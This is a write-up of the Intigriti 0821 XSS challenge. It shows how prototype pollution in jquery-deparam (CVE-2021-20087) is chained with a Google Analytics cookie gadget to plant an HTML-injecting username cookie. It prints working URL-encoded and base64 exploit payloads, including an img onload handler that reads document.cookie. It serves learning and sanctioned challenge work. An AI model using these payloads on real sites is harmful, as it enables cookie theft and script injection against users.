Intigriti 0821 – XSS Challenge Writeup

Intigriti 0821 XSS Challenge by @WHOISbinit


Website Overview

Let's take a look at the website and how it works 👀

The main page is using a <iframe> and looks like main page don't have any details.

Iframe-MainPage

So, the iframe's source url is https://challenge-0821.intigriti.io/challenge/cooking.htmlClick Here.


Interesting Javascript Libraries/Files

In that page's source we can find 3 javascript libraries/files used.

<script src="main.js"></script>
<script src="https://rawcdn.githack.com/AceMetrix/jquery-deparam/81428b3939c4cbe488202b5fa823ad661d64fb49/jquery-deparam.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>

jquery-deparam.js is vulnerable to CVE-2021-20087 and there is no known fix currently. 😲

So jquery-deparam library indicates that the challenge is about Javascript Prototype Pollution.

And, why is this website uses google-analytics 🧐 (This will come to play later)

main.js looks like the only custom coded (By the lazy devs) javascript file. 😈


Javascript File - main.js - How can we inject arbitrary javascript to the page 🧐

So, Let's take a look at that file. 👀

If you take a look at this file, I only found one way to get some bad stuff injected to the page. 🤔

It is the welcomeUser function,

function welcomeUser(username) {
    let welcomeMessage = document.querySelector("#welcome");
    welcomeMessage.innerHTML = `Welcome ${username}`;
}

But, It is called via,

welcomeUser(readCookie('username'));

Basically, readCookie is a function that reads cookies, and we have to pass the cookie name.

In this case, it is getting the value of the username cookie and putting it inside the welcome element's innerHtml

Hmm, we got Self-XSS.

Time to find a way to edit the cookie then. 🙄


How can we inject a cookie or modify a cookie 🧐

There is a function called handleLoad, which is called after the document is loaded.

const handleLoad = () => {
    let username = readCookie('username');
    if (!username) {
        document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
    }

    let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));

    ga('create', 'ga_r33l', 'auto');

    welcomeUser(readCookie('username'));
    generateRecipeText(recipe);
    console.log(recipe)
}

Take a look at this,

let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));

Here are the functions it uses,

new URL(location.href) -> Creates a new URL Object

new URL(location.href).searchParams.get('recipe') -> Getting the value of the parameter called recipe from the previously created URL Object

atob(new URL(location.href).searchParams.get('recipe')) -> Basically, atob function is used to decode base64, it decodes the value of recipe parameter

deparam(atob(new URL(location.href).searchParams.get('recipe'))); -> Finally, Parsing that decoded data to deparam function. Which accepts URL encoded parameters and This function is vulnerable to prototype pollution

deparam function will return the Url Encoded Values using JSON Format.

https://www.npmjs.com/package/deparam

Deparam - Nodejs

So, We can see that the user input is going to deparam function, which is really bad. 😍

Now, We can finally decide that this code is vulnerable to CVE-2021-20087 😈


Javascript Prototype Pollution - CVE-2021-20087

Now, Let's test if we can create a variable abusing this.

Since this is client side, you can use this amazing github repository.

Github - BlackFan/client-side-prototype-pollution

And you will find how to exploit this CVE. 👌

https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md

CVE-Exploit

We just have to pass __prototype__[<variable_name>]=<variable's_value>, That's it. 👌

Now, to check this we need to understand how this website works. 🤔

So, I am gonna grab the base64 recipe from the given payload called The Basic XSS

Default-Basic-XSS-Payload

The link is this,

https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==

And when we decode the recipe parameter via base64 we can see this url encoded data. (application/x-www-form-urlencoded)

CyberChef-Decoding-Basic-Payload

title=The basic XSS&ingredients[]=A script tag&ingredients[]=Some javascript&payload=<script>alert(1)</script>&steps[]=Find target&steps[]=Inject&steps[]=Enjoy

Pretty simple right?

We have to pass the details of a XSS Payload using this way,

Url Encoded Data -> Base64 -> https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=<base64>

So, Here I created a minimal payload with below url encoded data.

title=title&ingredients[]=nothing&payload=<xss>&steps[]=GoAway!&__proto__[test]=isira_adithya

Let's encode this in base64 and check the response of the website.

Here is the url.

https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9dGl0bGUmaW5ncmVkaWVudHNbXT1ub3RoaW5nJnBheWxvYWQ9PHhzcz4mc3RlcHNbXT1Hb0F3YXkhJl9fcHJvdG9fX1t0ZXN0XT1pc2lyYV9hZGl0aHlh

Click Here

Now, Let's run console.log(test) in the developer console. 🤓

VarCreation

Hmm, We can see the test variable is created.

But, how to use this CVE-2021-20087 thing to edit the username cookie. 🧐


Google Analytics to the rescue 🥳

This is where I started to look at the Script Gadjets section of the Github - BlackFan/client-side-prototype-pollution

https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/google-analytics.md

ScriptGadjet

And, now we know why this page used https://www.google-analytics.com/analytics.js

Cool, Now we know how to create a cookie. 🤓


Creating the final payload/exploit

Here is my xss payload,

username=<img src=https://isiraadithya.com/test.jpg onload="alert(document.cookie)"><style

So, I created this url encoded payload.

title=title&ingredients[]=nothing&payload=<xss>&steps[]=GoAway!&__proto__[cookieName]=username%3D%3Cimg%20src%3Dhttps%3A%2F%2Fisiraadithya%2Ecom%2Ftest%2Ejpg%20onload%3D%22alert%28document%2Edomain%29%22%3E%3Cstyle

Note that the username parameter is encoded in URL Encode

Now, Let's encode this in Base64 and create the url/link for the exploit.

https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9dGl0bGUmaW5ncmVkaWVudHNbXT1ub3RoaW5nJnBheWxvYWQ9PHhzcz4mc3RlcHNbXT1Hb0F3YXkhJl9fcHJvdG9fX1tjb29raWVOYW1lXT11c2VybmFtZSUzRCUzQ2ltZyUyMHNyYyUzRGh0dHBzJTNBJTJGJTJGaXNpcmFhZGl0aHlhJTJFY29tJTJGdGVzdCUyRWpwZyUyMG9ubG9hZCUzRCUyMmFsZXJ0JTI4ZG9jdW1lbnQlMkVkb21haW4lMjklMjIlM0UlM0NzdHlsZQ==

Click Here

And that's the final payload.


Why is it not working??? 🤦‍♂️

Well, Let me explain.

Once again, If we take a look at the handleLoad function, we see that the username cookie is already created when the prototype pollution happens.

const handleLoad = () => {
    let username = readCookie('username');
    if (!username) {
        document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
    }

    let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));

    ga('create', 'ga_r33l', 'auto');

    welcomeUser(readCookie('username'));
    generateRecipeText(recipe);
    console.log(recipe)
}

But luckily, the website creates the username cookie in a way that will expire when browser is closed.

If you read Document.cookie - Web APIs | MDN, You will find this section.

MDN Documentation

So, the website creates the cookie like this.

document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;

So, If you open the developer tools and go to the application section you can see this.

Cookie Expire Time

So, Let's close the browser and Revisit https://challenge-0821.intigriti.io/.

Annnnnnd, voila!! 🥳

XSSSSSSS


Reporting

After I created a submission, the submission got accepted! 😎

But, Robbe/PinkDraconian said that there is a way to do this in one click. 🤔

XSS-Report-Accepted

I tried my best, but I didn't got. 😥

I guess, I will read others write-ups then.


Update

I read the amazing writeup by @svennergr
https://svennergr.github.io/writeups/inti/0821/

Well, turn out that there is a parameter called cookiePath in the analytics.js (Google Analytics) script gadjet.

-- Inside Google Analytics Javascript code ---

, U = T("cookieName", void 0, "_ga")
, W = T("cookieDomain")
, Yb = T("cookiePath", void 0, "/")
, Zb = T("cookieExpires", void 0, 63072E3)
, Hd = T("cookieUpdate", void 0, !0)
, Be = T("cookieFlags", void 0, "")

Because, the User Agent/Browser is giving the priority to cookies with specific path
So, if we combine that with the previous payload we can get one click xss.
So, the url encoded payload looks like this.

__proto__[cookieName]=username%3D%3Cimg%20src%3D%22https%3A%2F%2Fisiraadithya%2Ecom%2Ftest%2Ejpg%22%20onload%3D%22confirm%28document%2Edomain%29%22%3E&__proto__[cookiePath]=%2Fchallenge%2Fcooking.html

Now, We can encode it in Base64 and create the final url like below.
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZpc2lyYWFkaXRoeWElMkVjb20lMkZ0ZXN0JTJFanBnJTIyJTIwb25sb2FkJTNEJTIyY29uZmlybSUyOGRvY3VtZW50JTJFZG9tYWluJTI5JTIyJTNFJl9fcHJvdG9fX1tjb29raWVQYXRoXT0lMkZjaGFsbGVuZ2UlMkZjb29raW5nLmh0bWw=

Anddddd, I won the challenge too. 🥳
Won

Thanks s lot @Whoisbinit and @intigriti


Download this writeup

If you collect writeups like me,
You can download this writeup using below link.

  1. Markdown File
  2. PDF File
  3. PNG File Idk why I exported as a PNG 😂

References

Here are some cools resources to learn about the concepts used here.

  1. What is a Prototype Pollution vulnerability and how does page-fetch help? - 👌👌 explanation of prototype pollution by Detectify
  2. Prototype pollution: The dangerous and underrated vulnerability impacting JavaScript applications - About Javascript Prototype Pollution by Daily Swig
  3. Webinar: Hacking Modern Web Apps with RCE and Prototype Pollution by Abraham Aranguren - Javascript Protype Pollution
  4. Olivier Arteau -- Prototype pollution attacks in NodeJS applications - Javascript Prototype Pollution
  5. NodeJS - proto & prototype Pollution - Notes about Prototype Pollution by HackTricks
  6. https://github.com/BlackFan/client-side-prototype-pollution - The place to find the exploits and cves for prototype pollution
  7. document.cookie - MDN - What is document.cookie and how to use it? Official MDN Documentation

Thanks

Thanks a lot for reading. 😊

Leave a Reply